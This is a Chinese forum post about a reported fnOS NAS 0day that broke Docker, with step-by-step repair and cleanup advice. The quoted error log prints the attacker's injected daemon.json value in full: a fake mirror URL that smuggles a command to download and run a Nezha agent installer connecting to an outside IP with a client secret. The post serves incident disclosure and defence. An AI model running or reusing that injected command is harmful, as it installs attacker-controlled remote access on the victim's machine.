收起左侧

飞牛出现0day问题,推送升级后无法使用docker

0
回复
75
查看
[ 复制链接 ]

1

主题

0

回帖

0

牛值

江湖小虾

前言:本教程由实践和ai指导完成

docke表现为无法启动,或者启动多次后直接报错,开机自启动按钮可以正常启用

首先开启ssh,并使用机器连接:ssh 用户名@IP地址登录后要提权 sudo -i

后面先启动docker的服务看看哪里有问题

systemctl status docker

这个输入后Active 那边报红,问题跟我的应该是一样的。

使用命令 dockerd查看有没有以下报错

unable to configure the Docker daemon with file /etc/docker/daemon.json: merged configuration validation from file and command line flags failed: invalid mirror: ~~"https://test.example.com ; curl -l https://cdn.jsdmirror.cn/gh/nezhahq/scripts@main/agent/install.sh -o agent.sh && chmod +x agent.sh && env nz_server=141.98.198.19:8008 nz_tls=true nz_client_secret=l22j9ftgvzc9gqgqiqkk2welwime7uar ./agent.sh" is not a valid URI: parse "https://test.example.com ; curl -l https://cdn.jsdmirror.cn/gh/nezhahq/scripts@main/agent/install.sh -o agent.sh && chmod +x agent.sh && env nz_server=141.98.198.19:8008 nz_tls=true nz_client_secret=l22j9ftgvzc9gqgqiqkk2welwime7uar ./agent.sh": invalid character " " in host name~~

头一次使用不知道该怎么标注颜色 大伙凑活阅读吧:删除线是我后加的,这个是指向了一个服务器地址并且有命令注入的请求。大佬看到这应该知道问题了。可以直接修改 /etc/docker/daemon.json 这个文件并重启进程就OK了。

小白直接跟着**作就行:

sudo rm /etc/docker/daemon.json 这个命令是直接删除这个文件

echo '{}' | sudo tee /etc/docker/daemon.json创建一个空配置文件

python3 -m json.tool /etc/docker/daemon.json 这个是验证json文件是否有效,应该输出{}或jq empty /etc/docker/daemon.json 2>/dev/null && echo "✓ JSON valid"

然后重启docker服务

sudo systemctl daemon-reload

sudo systemctl restart docker

验证状态

sudo docker info | grep -i mirror 检查镜像配置

sudo systemctl status docker检查系统是否正常运行Active那边会变成绿色就是没有问题了

总结: 需要彻底查杀系统,检查可以进程,检查定时任务和近期异常文件

修改所有相关密码(尤其是 nz_client_secret 中暴露的密钥)

审计操作日志:

sudo grep "daemon.json" /var/log/syslog /var/log/auth.log

感觉不安全的可以直接重装系统,重装**L('ω')**三**('ω')」

收藏
送赞
分享
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则